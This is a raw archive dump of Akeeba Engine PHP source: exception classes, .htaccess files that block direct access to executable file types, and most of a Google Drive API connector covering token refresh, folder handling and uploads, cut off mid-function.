 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Box\Exception;

defined('AKEEBAENGINE') || die();

use RuntimeException;

class Base extends RuntimeException
{
}
PK     \6es  s  L  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/InvalidJSON.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Box\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class InvalidJSON extends Base
{
	public function __construct($message = "Invalid JSON data received", $code = '500', ?Exception $previous = null)
	{
		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \Sʉ      F  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      <  vendor/akeeba/engine/engine/Postproc/Connector/Box/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \1R?  ?  >  vendor/akeeba/engine/engine/Postproc/Connector/GoogleDrive.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;
use RuntimeException;

/**
 * Google Drive v3 API integration for Akeeba Engine
 *
 * @package Akeeba\Engine\Postproc\Connector
 */
class GoogleDrive
{
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The root URL for the Google Drive v3 API
	 */
	public const rootUrl = 'https://www.googleapis.com/drive/v3/';

	/**
	 * The root URL for the Google Drive v3 upload API
	 */
	public const uploadUrl = 'https://www.googleapis.com/upload/drive/v3/';

	/**
	 * The URL of the helper script which is used to get fresh API tokens
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/googledrive.php';

	/**
	 * Refresh the access token proactively when it is within this many seconds of expiring. Google Drive access tokens
	 * are short-lived (typically 1 hour); refreshing a little before expiry prevents the token from lapsing in the
	 * middle of a long-running backup, which is the cause of intermittent, hard-to-reproduce upload/download failures.
	 */
	private const tokenExpirationThreshold = 300;

	/**
	 * The access token for connecting to Google Drive
	 *
	 * @var string
	 */
	private $accessToken = '';

	/**
	 * The refresh token used to get a new access token for Google Drive
	 *
	 * @var string
	 */
	private $refreshToken = '';

	/**
	 * Download ID to use with the helper URL
	 *
	 * @var string
	 */
	private $dlid = '';

	/**
	 * Default cURL options
	 *
	 * @var array
	 */
	private $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => true,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	private $uploadToSharedWithMe = false;

	private $refreshUrl = '';

	/**
	 * UNIX timestamp at which the current access token expires. 0 means "unknown" — e.g. a token supplied from saved
	 * configuration whose lifetime we have not learned yet. It is populated from the `expires_in` value Google returns
	 * whenever the token is refreshed.
	 *
	 * @var int
	 */
	private $tokenExpiration = 0;

	/**
	 * Public constructor
	 *
	 * @param   string  $accessToken   The access token for accessing OneDrive
	 * @param   string  $refreshToken  The refresh token for getting new access tokens for OneDrive
	 * @param   string  $dlid          The akeeba.com Download ID, used whenever you try to refresh the token
	 */
	public function __construct($accessToken, $refreshToken, $dlid, $refreshUrl = '')
	{
		$this->accessToken  = $accessToken;
		$this->refreshToken = $refreshToken;
		$this->dlid         = $dlid;
		$this->refreshUrl   = $refreshUrl ?: self::helperUrl;
	}

	/**
	 * Try to ping Google Drive, refresh the token if it's expired and return the refresh results.
	 *
	 * If no refresh was required 'needs_refresh' will be false.
	 *
	 * If refresh was required 'needs_refresh' will be true and the rest of the keys will be as returned by Google Drive.
	 *
	 * If the refresh failed you'll get a RuntimeException.
	 *
	 * @param   bool  $forceRefresh  Set to true to forcibly refresh the tokens
	 *
	 * @return  array
	 *
	 * @throws  RuntimeException
	 */
	public function ping($forceRefresh = false)
	{
		// Initialization
		$response = [
			'needs_refresh' => false,
		];

		if (!$forceRefresh)
		{
			if (!empty($this->tokenExpiration))
			{
				// We know when the token expires: refresh PROACTIVELY once it is at — or within a safety margin of —
				// expiry, so it cannot lapse mid-operation. This avoids the race where a "test" call succeeds but the
				// token then expires moments later during the real request (the cause of intermittent failures).
				$response['needs_refresh'] = (time() + self::tokenExpirationThreshold) >= $this->tokenExpiration;
			}
			else
			{
				// We do NOT know this token's expiry (e.g. it was supplied from saved configuration). Fall back to
				// probing the API with it (getDriveInformation) and refreshing only if that probe fails.
				try
				{
					$this->getDriveInformation();
				}
				catch (RuntimeException $e)
				{
					$response['needs_refresh'] = true;
				}
			}
		}

		// If there is no need to refresh the tokens, return
		if (!$response['needs_refresh'] && !$forceRefresh)
		{
			return $response;
		}

		if (empty($this->refreshUrl))
		{
			throw new \RuntimeException('The OAuth2 Refresh URL is empty. Please check your backup profile\'s configuration.');
		}

		$refreshUrl = $this->refreshUrl .
		              (strpos($this->refreshUrl, '?') === false ? '?' : '&')
		              . 'refresh_token=' . urlencode($this->refreshToken);

		if (strpos($refreshUrl, self::helperUrl) === 0)
		{
			$refreshUrl .= '&dlid=' . urlencode($this->dlid);
		}

		$refreshResponse = $this->fetch('GET', $refreshUrl);

		$this->accessToken  = $refreshResponse['access_token'] ?? '';

		// Record when the freshly minted access token will expire so ping() can refresh it proactively next time.
		if (isset($refreshResponse['expires_in']))
		{
			$this->tokenExpiration = time() + (int) $refreshResponse['expires_in'];
		}

		$refreshResponse['token_expiration'] = $this->tokenExpiration;

		return array_merge($response, $refreshResponse);
	}

	/**
	 * Get the UNIX timestamp at which the current access token expires (0 if unknown).
	 *
	 * @return  int
	 */
	public function getTokenExpiration()
	{
		return $this->tokenExpiration;
	}

	/**
	 * Restore a previously persisted access-token expiry timestamp, so ping() can refresh proactively without first
	 * having to probe the API. Pass 0 to mark the expiry as unknown.
	 *
	 * @param   int  $tokenExpiration  UNIX timestamp at which the access token expires.
	 *
	 * @return  void
	 */
	public function setTokenExpiration($tokenExpiration)
	{
		$this->tokenExpiration = (int) $tokenExpiration;
	}

	/**
	 * Return information about Google Drive
	 *
	 * @return  array  See https://developers.google.com/drive/v3/reference/about/get
	 */
	public function getDriveInformation()
	{
		$relativeUrl = 'about';

		$result = $this->fetch('GET', $relativeUrl, [
			'fields' => 'appInstalled,kind,maxUploadSize,storageQuota,user',
		]);

		return $result;
	}

	/**
	 * Get a list of Google Team Drives as an array of ID => Team Drive Name. If there are no team drives or the account
	 * does not support team drives you will receive an empty list.
	 *
	 * @return  array  See https://developers.google.com/drive/api/v3/reference/drives/list
	 */
	public function getTeamDrives()
	{
		$ret         = [];
		$relativeUrl = 'drives';
		$result      = $this->fetch('GET', $relativeUrl, [
			'pageSize' => 100
		]);

		if (!isset($result['drives']) || empty($result['drives']))
		{
			return $ret;
		}

		foreach ($result['drives'] as $drive)
		{
			$ret[$drive['id']] = $drive['name'];
		}

		return $ret;
	}

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $parentId     The parent folder Id (default: 'root')
	 * @param   string  $search       Additional search criteria to apply, see https://developers.google.com/drive/v3/web/search-parameters
	 * @param   int     $pageSize     The pagination size, default 100
	 * @param   string  $pageToken    The page continuation token from a previous request
	 * @param   string  $orderBy      Ordering for the results, defaults to "folder,name" (folders first, then sort by name ascending)
	 * @param   string  $teamDriveID  The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  array  See https://developers.google.com/drive/v3/reference/files/list
	 */
	public function getRawContents($parentId = 'root', $search = null, $pageSize = 100, $pageToken = null, $orderBy = 'folder,name', $teamDriveID = '')
	{
		$params = [
			'supportsAllDrives' => 'true',
			'orderBy'           => $orderBy,
			'pageSize'          => $pageSize,
			'pageToken'         => $pageToken,
			'q'                 => '',
			'spaces'            => 'drive',
			'corpora'           => 'user',
			'fields'            => 'files(fileExtension,id,kind,mimeType,name,parents,size,spaces,starred),nextPageToken',
		];

		if ($this->uploadToSharedWithMe)
		{
			$params['corpora'] = 'user';
		}

		if (!empty($teamDriveID))
		{
			$params = array_merge($params, [
				'corpora'                   => 'drive',
				'includeItemsFromAllDrives' => 'true',
				'driveId'                   => $teamDriveID,
			]);
		}

		if (empty($pageToken))
		{
			unset ($params['pageToken']);
		}

		$searchParam = '';

		if (!empty($parentId))
		{
			$parentIdQuoted = str_replace('\'', '\\\'', $parentId);
			$searchParam    = "'$parentIdQuoted' in parents";

			if ($this->uploadToSharedWithMe && $parentId === 'root')
			{
				$searchParam .= ' or sharedWithMe = true';
			}
		}

		if ($search)
		{
			if (!empty($searchParam))
			{
				$searchParam .= " and ($search)";
			}
			else
			{
				$searchParam = $search;
			}
		}

		$params['q'] = $searchParam;

		$result = $this->fetch('GET', 'files', $params);

		return $result;
	}

	/**
	 * Get the processed listing of a folder
	 *
	 * @param   string  $parentId     The parent folder Id (default: 'root')
	 * @param   string  $search       Additional search criteria to apply, see https://developers.google.com/drive/v3/web/search-parameters
	 * @param   int     $pageSize     The pagination size, default 100
	 * @param   string  $pageToken    The page continuation token from a previous request
	 * @param   string  $orderBy      Ordering for the results, defaults to "folder,name" (folders first, then sort by name ascending)
	 * @param   string  $teamDriveID  The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  array  Two arrays under keys folders and files. Each array's key is the file/folder name. For the values see above.
	 */
	public function listContents($parentId = 'root', $search = null, $pageSize = 100, $pageToken = null, $orderBy = 'folder,name', $teamDriveID = '')
	{
		$result = $this->getRawContents($parentId, $search, $pageSize, $pageToken, $orderBy, $teamDriveID);

		$return = [
			'files'   => [],
			'folders' => [],
		];

		if (!isset($result['files']) || !count($result['files']))
		{
			return $return;
		}

		foreach ($result['files'] as $item)
		{
			if ($item['mimeType'] == 'application/vnd.google-apps.folder')
			{
				$return['folders'][$item['name']] = [
					'id'      => $item['id'],
					'parents' => $item['parents'],
				];

				continue;
			}

			$return['files'][$item['name']] = [
				'id'            => $item['id'],
				'parents'       => $item['parents'],
				'size'          => $item['size'],
				'fileExtension' => $item['fileExtension'],
			];
		}

		return $return;
	}

	/**
	 * Try to get the ID for a file.
	 *
	 * @param   string  $path           Human readable path to the file
	 * @param   bool    $createFolders  Should I create the enclosing folders if they do not exist?
	 * @param   string  $teamDriveID    The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  null|string     Null if the file doesn't exist (but the path does), the ID otherwise
	 *
	 * @throws  RuntimeException  When the path does not exist
	 */
	public function getIdForFile($path, $createFolders = false, $teamDriveID = '')
	{
		$parentPath = dirname($path);
		$fileName   = basename($path);
		$parentPath = trim($parentPath, '/');
		$parentId   = empty($teamDriveID) ? 'root' : $teamDriveID;

		if (!empty($parentPath))
		{
			$parentId = $this->getIdForFolder($parentPath, $createFolders, $teamDriveID);
		}

		if (is_null($parentId))
		{
			throw new RuntimeException("The path $parentPath does not exist in your Google Drive");
		}

		// Try to find the last part
		$search  = 'name = \'' . str_replace('\'', '\\\'', $fileName) . '\'';
		$results = $this->getRawContents($parentId, $search, 1, null, 'folder,name', $teamDriveID);

		if (empty($results['files']))
		{
			return null;
		}

		return $results['files'][0]['id'];
	}

	/**
	 * Try to get the ID to a folder
	 *
	 * @param   string  $path           Human readable path to the folder
	 * @param   bool    $createFolders  Should I create any missing folders?
	 * @param   string  $teamDriveID    The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  null|string  Null if the folder doesn't exist, the ID of the folder otherwise
	 */
	public function getIdForFolder($path, $createFolders = false, $teamDriveID = '')
	{
		if (empty($path))
		{
			return empty($teamDriveID) ? 'root' : $teamDriveID;
		}

		$folders  = explode('/', $path);
		$parentId = empty($teamDriveID) ? 'root' : $teamDriveID;

		foreach ($folders as $folder)
		{
			// Search for a folder by the name $folder that has a parent $parentId
			$search  = 'name = \'' . str_replace('\'', '\\\'', $folder) . '\'' .
				' and mimeType = \'application/vnd.google-apps.folder\'';
			$results = $this->getRawContents($parentId, $search, 1, null, 'folder,name', $teamDriveID);

			// If found, set $parentId to this folder's ID
			if (!empty($results['files']))
			{
				$parentId = $results['files'][0]['id'];

				continue;
			}

			// Not found and we're told to not create the missing folders. Return null.
			if (!$createFolders)
			{
				return null;
			}

			// Not found, but we're asked to create the missing folders
			$parentId = $this->createFolder($parentId, $folder);

			/**
			 * Welcome to Google Insanity. Let me be your guide.
			 *
			 * If the folder does not exist we ask the Google Drive API to create it. If we try to use files.list to
			 * check if the folder is there the API returns the folder we just created. However, if we try to upload a
			 * new file into it the folder is reported as being non-existent and Google Drive tries to create a new
			 * folder with the same name. The problem is that we reasonably expect that our file is uploaded in the
			 * folder we created, not some a different folder with the same name and different file ID. This discrepancy
			 * causes uploads to fail.
			 *
			 * If I wait one second the same things happens. Two seconds? Same story. Three seconds? Well, this is
			 * interesting. If I wait THREE (3) seconds after I've created the folder then everything works as expected.
			 * Google Drive sees the folder we created and does use it during upload. So please do NOT remove this sleep
			 * or everything breaks. Peace.
			 */
			sleep(3);
		}

		return $parentId;
	}

	/**
	 * Create a folder named $name under the parent folder with id $parentId.
	 *
	 * If you know the human-readable path to the folder you want to create but not its parentId and/or you are not sure
	 * if the folder exists but want its Id anyway use:
	 * $this->getIdForFolder('/human/readable/path', true).
	 *
	 * @param   string  $parentId  The ID of the enclosing folder
	 * @param   string  $name      The name of the folder to create
	 *
	 * @return  string  The ID of the created folder
	 */
	public function createFolder($parentId, $name)
	{
		$folderName   = str_replace('"', '\\"', $name);
		$jsonDocument = <<< JSON
{
 "name": "$folderName",
 "parents": [
  "$parentId"
 ],
 "mimeType": "application/vnd.google-apps.folder"
}
JSON;

		$contentLength = strlen($jsonDocument);
		$result        = $this->fetch('POST', 'files?supportsAllDrives=true&fields=id', [
			'headers' => [
				'Content-Type: application/json; charset="utf-8"',
				'Content-Length: ' . $contentLength,
			],
		], $jsonDocument);

		return $result['id'];
	}

	/**
	 * Delete a file
	 *
	 * @param   string  $fileId       The ID of the file to delete
	 * @param   bool    $failOnError  Throw exception if the deletion fails? Default true.
	 *
	 * @return  bool  True on success
	 *
	 * @throws  Exception
	 */
	public function delete($fileId, $failOnError = true)
	{
		try
		{
			$result = $this->fetch('DELETE', 'files/' . $fileId, [
				'supportsAllDrives' => 'true',
			]);
		}
		catch (Exception $e)
		{
			if (!$failOnError)
			{
				return false;
			}

			throw $e;
		}

		return true;
	}

	/**
	 * Download a remote file
	 *
	 * @param   string  $fileId     The ID of the file in Google Drive
	 * @param   string  $localFile  The absolute filesystem path where the file will be downloaded to
	 */
	public function download($fileId, $localFile)
	{
		$this->fetch('GET', "files/$fileId?alt=media", [
			'supportsAllDrives' => 'true',
			'file'              => $localFile,
		]);
	}

	/**
	 * Uploads a file as a single part. Up to 5Mb uploads.
	 *
	 * @param   string  $folderId    The ID of the folder to upload to
	 * @param   string  $localFile   The absolute local filesystem path
	 * @param   string  $remoteName  The name of the file on the remote storage, null to derive from localFile
	 * @param   string  $mimeType    The MIME type of the file. Defaults to application/octet-stream.
	 *
	 * @return  array   See https://developers.google.com/drive/v3/reference/files#resource-representations
	 */
	public function simpleUpload($folderId, $localFile, $remoteName = null, $mimeType = 'application/octet-stream')
	{
		// Make sure this file is 5Mb or smaller
		clearstatcache();
		$filesize = @filesize($localFile);

		if ($filesize > 5242880)
		{
			throw new RuntimeException("File size too big for simpleUpload ($filesize bigger than 5Mb).", 500);
		}

		// Make sure we have a remote name
		if (empty($remoteName))
		{
			$remoteName = basename($localFile);
		}

		// First we need to upload the file and get its ID
		$additional = [
			'file'    => $localFile,
			'headers' => [
				'Content-Type: ' . $mimeType,
				'Content-Length: ' . $filesize,
			],
		];
		$response   = $this->fetch('POST', self::uploadUrl . 'files?uploadType=media&supportsAllDrives=true', $additional);

		if (!isset($response['id']))
		{
			throw new RuntimeException("Could not upload $localFile");
		}

		$fileId = $response['id'];

		// Now we need to add to the parents list
		$remoteName   = str_replace('"', '\\"', $remoteName);
		$jsonDocument = <<< JSON
{
	"name": "$remoteName"
}
JSON;
		$additional   = [
			'headers'           => [
				'Content-Type: application/json',
			],
			'supportsAllDrives' => 'true',
		];

		$patchResponse = $this->fetch('PATCH', 'files/' . $fileId . '?&supportsAllDrives=true&addParents=' . $folderId, $additional, $jsonDocument);

		return $patchResponse;
	}

	/**
	 * Creates a new multipart upload session and returns its upload URL
	 *
	 * @param   string  $folderId    The ID of the folder to upload to
	 * @param   string  $localFile   The absolute local filesystem path
	 * @param   string  $remoteName  The name of the file on the remote storage, null to derive from localFile
	 * @param   string  $mimeType    The MIME type of the file. Defaults to application/octet-stream.
	 *
	 * @return  string|null  The upload URL for the session, null if the upload session wasn't created
	 *
	 * @see https://developers.google.com/drive/api/v3/resumable-upload
	 */
	public function createUploadSession($folderId, $localFile, $remoteName = null, $mimeType = 'application/octet-stream')
	{
		clearstatcache();
		$filesize = @filesize($localFile);

		$explicitPost = (object) [
			'name'    => $remoteName,
			'parents' => [
				$folderId,
			],
		];

		$explicitPost = json_encode($explicitPost);

		$response = $this->fetch('POST', self::uploadUrl . 'files?supportsAllDrives=true&uploadType=resumable', [
			'headers'         => [
				'Content-Type: application/json',
				'Content-Length: ' . strlen($explicitPost),
				'X-Upload-Content-Type: ' . $mimeType,
				'X-Upload-Content-Length: ' . $filesize,
			],
			'follow-redirect' => false,
			'no-parse'        => true,
			'curl-options'    => [
				CURLOPT_HEADER => true,
			],
		], $explicitPost);

		$lines = explode("\r", $response);

		foreach ($lines as $line)
		{
			$line = trim($line);

			if (empty($line))
			{
				continue;
			}

			if (strpos($line, ':') === false)
			{
				continue;
			}

			[$header, $value] = explode(": ", $line);

			if (strtolower($header) != 'location')
			{
				continue;
			}

			return $value;
		}

		return null;
	}

	/**
	 * Upload a part
	 *
	 * @param   string  $sessionUrl  The upload session URL, see createUploadSession
	 * @param   string  $localFile   Absolute filesystem path of the source file
	 * @param   int     $from        Starting byte to begin uploading, default is 0 (start of file)
	 * @param   int     $length      Chunk size in bytes, default 10Mb, must NOT be over 60Mb!  MUST be a multiple of 320Kb.
	 *
	 * @return  array  The upload information, see https://developers.google.com/drive/v3/reference/files#resource-representations
	 *
	 * @see https://developers.google.com/drive/api/v3/resumable-upload
	 */
	public function uploadPart($sessionUrl, $localFile, $from = 0, $length = 10485760)
	{
		clearstatcache();
		$totalSize = filesize($localFile);
		$to        = $from + $length - 1;

		if ($to > ($totalSize - 1))
		{
			$to = $totalSize - 1;
		}

		$contentLength = $to - $from + 1;

		$range = "$from-$to/$totalSize";

		$additional = [
			'headers'           => [
				'Content-Length: ' . $contentLength,
				'Content-Range: bytes ' . $range,
			],
			'supportsAllDrives' => 'true',
		];

		$fp = @fopen($localFile, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Could not open $localFile for reading", 500);
		}

		fseek($fp, $from);
		$data = fread($fp, $contentLength);
		$this->conditionalFileClose($fp);

		return $this->fetch('PUT', $sessionUrl, $additional, $data);
	}

	/**
	 * Upload a file using multipart uploads. Useful for files over 100Mb and up to 2Gb.
	 *
	 * @param   string  $path         Relative path in the Drive
	 * @param   string  $localFile    Absolute filesystem path of the source file
	 * @param   int     $partSize     Part size in bytes, default 10Mb
	 * @param   string  $mimeType     The MIME type of the uploaded file, defaults to application/octet-stream
	 * @param   string  $teamDriveID  The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  array  See https://developers.google.com/drive/v3/reference/files#resource-representations
	 *
	 * @throws Exception
	 *
	 * @see https://developers.google.com/drive/api/v3/resumable-upload
	 */
	public function resumableUpload($path, $localFile, $partSize = 10485760, $mimeType = 'application/octet-stream', $teamDriveID = '')
	{
		[$fileName, $folderId] = $this->preprocessUploadPath($path, $teamDriveID);

		$sessionUrl = $this->createUploadSession($folderId, $localFile, $fileName, $mimeType);
		$from       = 0;

		while (true)
		{
			$result = $this->uploadPart($sessionUrl, $localFile, $from, $partSize);

			$from += $partSize;

			// If the result doesn't have nextExpectedRanges we have finished uploading.
			if (isset($result['name']))
			{
				return $result;
			}
		}
	}

	/**
	 * Automatically decides which upload method to use to upload a file to Google Drive. This method will return when
	 * the entire file has been uploaded. If you want to implement staggered uploads use the createUploadSession and
	 * uploadPart methods.
	 *
	 * @param   string  $path         The remote path relative to Drive root
	 * @param   string  $localFile    The absolute local filesystem path
	 * @param   int     $partSize     Part size in bytes, default 10Mb
	 * @param   string  $mimeType     The MIME type of the uploaded file, defaults to application/octet-stream
	 * @param   string  $teamDriveID  The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  array  See https://developers.google.com/drive/v3/reference/files#resource-representations
	 *
	 * @throws Exception
	 */
	public function upload($path, $localFile, $partSize = 10485760, $mimeType = 'application/octet-stream', $teamDriveID = '')
	{
		clearstatcache();
		$filesize = @filesize($localFile);

		/**
		 * Google Drive has a hard limit of 5MB for simple uploads. If the file is bigger than 5MB **OR** bigger than
		 * the part size (whatever is smaller) **THEN** we have to use resumable uploads.
		 */
		$smallestSizeForSinglePartUpload = min(5242880, $partSize);
		if ($filesize > $smallestSizeForSinglePartUpload)
		{
			return $this->resumableUpload($path, $localFile, $partSize, $mimeType, $teamDriveID);
		}

		// Smaller files, use simple upload
		[$fileName, $folderId] = $this->preprocessUploadPath($path, $teamDriveID);

		return $this->simpleUpload($folderId, $localFile, $fileName, $mimeType);
	}

	/**
	 * Converts a human readable path into a folder ID and directory name. If any folder in the path does not exist it
	 * will be created. If a file by the same name already exists in the folder it will be deleted.
	 *
	 * @param   string  $path         The human readable path to the file
	 * @param   string  $teamDriveID  The ID of the Google Team Drive. Empty means we should use the personal Drive (default).
	 *
	 * @return  array  array($fileName, $folderId)
	 *
	 * @throws Exception
	 */
	public function preprocessUploadPath($path, $teamDriveID = '')
	{
		// Get the folder and file name
		$folderName = dirname($path);
		$fileName   = basename($path);
		$folderName = trim($folderName, '/');
		$folderId   = empty($teamDriveID) ? 'root' : $teamDriveID;

		// Find or create the folder
		if (!empty($folderName))
		{
			$folderId = $this->getIdForFolder($folderName, true, $teamDriveID);
		}

		// If I have a file by the same name in this directory, kill it
		$search  = 'name = \'' . str_replace('\'', '\\\'', $fileName) . '\'';
		$results = $this->getRawContents($folderId, $search, 1, null, 'folder,name', $teamDriveID);

		if (!empty($results['files']))
		{
			$fileId = $results['files'][0]['id'];
			$this->delete($fileId, false);

			return [$fileName, $folderId];
		}

		return [$fileName, $folderId];
	}

	public function setUploadToSharedWithMe(bool $uploadToSharedWithMe): self
	{
		$this->uploadToSharedWithMe = $uploadToSharedWithMe;

		return $this;
	}

	public function isUploadToSharedWithMe(): bool
	{
		return $this->uploadToSharedWithMe;
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url = $relativeUrl;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = self::rootUrl . ltrim($relativeUrl, '/');
		}

		// Should I expect a specific header?
		$expectHttpStatus = false;

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];
			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
		if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
		{
			$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
		}

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers = [];

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header
		$headers[] = 'Authorization: Bearer ' . $this->accessToken;

		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file = null;
		$fp   = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			$mode = ($method == 'GET') ? 'w' : 'r';
			$fp   = @fopen($file, $mode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (!$expectHttpStatus)
			{
				$expectHttpStatus = 200;
			}
		}
		elseif (($method == 'POST' && !$fp))
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}
		elseif ($method == 'POST' && $fp)
		{
			$options[CURLOPT_POST] = true;

			$data = '';

			while (!feof($fp))
			{
				$data .= fread($fp, 1024768);
			}

			$options[CURLOPT_POSTFIELDS] = $data;
		}
		elseif ($method == 'GET' && !empty($additional))
		{
			$extraQuery = http_build_query($additional);
			$glue       = (strpos($url, '?') === false) ? '?' : '&';
			$url        .= $glue . $extraQuery;

			curl_setopt($ch, CURLOPT_URL, $url);
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		//@curl_setopt($ch, CURLOPT_VERBOSE, true);
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		if ($fp)
		{
			$this->conditionalFileClose($fp);

			if ($expectHttpStatus && ($expectHttpStatus != $lastHttpCode))
			{
				if ($file)
				{
					@unlink($file);
				}

				throw new RuntimeException("Unexpected HTTP status $lastHttpCode", $lastHttpCode);
			}
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new RuntimeException("cURL error $errNo: $error", 500);
		}

		if ($expectHttpStatus)
		{
			if ($expectHttpStatus == $lastHttpCode)
			{
				return [];
			}
		}

		if ($noParse)
		{
			return $response;
		}

		// Parse the response
		$originalResponse = $response;
		$response         = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!empty($originalResponse) && !$response)
		{
			throw new RuntimeException("Invalid JSON data received: $originalResponse", 500);
		}
		elseif (empty($originalResponse))
